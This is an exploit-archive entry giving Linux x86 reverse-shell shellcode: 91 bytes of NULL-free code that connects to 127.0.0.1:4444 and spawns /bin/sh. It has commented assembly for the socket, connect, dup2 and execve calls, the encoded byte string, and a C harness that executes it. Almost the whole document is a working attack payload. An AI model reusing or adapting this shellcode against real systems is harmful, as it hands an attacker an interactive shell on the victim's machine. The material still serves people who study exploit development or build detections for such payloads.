# Exploit Title: Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)
# Date: 2019-10-16
# Author:  bolonobolo
# Tested on: Linux x86
# Software: N/A
# CVE: N/A

/*
global _start

section .text
_start:


;socket()
xor ecx, ecx        ; xoring ECX
xor ebx, ebx        ; xoring EBX
mul ebx             ; xoring EAX and EDX
inc cl              ; ECX should be 1
inc bl
inc bl              ; EBX should be 2
mov ax, 0x167       ;
int 0x80            ; call socket()

;connect()          ; move the return value of socket
xchg ebx, eax       ; from EAX to EBX ready for the next syscalls

; push sockaddr structure in the stack
dec cl
push ecx                ; unused char (0)

; move the lenght (16 bytes) of IP in EDX
mov dl, 0x16

; the ip address 1.0.0.127 could be 4.3.3.130 to avoid NULL bytes
mov ecx, 0x04030382              ; mov ip in ecx
sub ecx, 0x03030303              ; subtract 3.3.3.3 from ip
push ecx                         ; load the real ip in the stack
push word 0x5c11                 ; port 4444
push word 0x02                   ; AF_INET family
lea ecx, [esp]
                                 ; EBX still contain the value of the
opened socket
mov ax, 0x16a
int 0x80

; dup2()
    xor ecx, ecx
    mov cl, 0x3

dup2:
    xor eax, eax
                                 ; EBX still contain the value of the
opened socket
    mov al, 0x3f
    dec cl
    int 0x80
    jnz dup2

; execve() from the previous polymorphic analysis 25 bytes
cdq                     ; xor edx
mul edx                 ; xor eax
lea ecx, [eax]          ; xor ecx
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx                ; push NULL in stack
push esi                ; push hs/ in stack
push edi                ; push nib// in stack
lea ebx, [esp]          ; load stack pointer to ebx
mov al, 0xb             ; load execve in eax
int 0x80
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\x31\xdb\xf7\xe3\xfe\xc1\xfe\xc3\xfe\xc3\x66\xb8\x67\x01\xcd\x80\x93\xfe\xc9\x51\xb2\x16\xb9\x82\x03\x03\x04\x81\xe9\x03\x03\x03\x03\x51\x66\x68\x11\x5c\x66\x6a\x02\x8d\x0c\x24\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";

void main()
{

printf("Shellcode Length:  %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}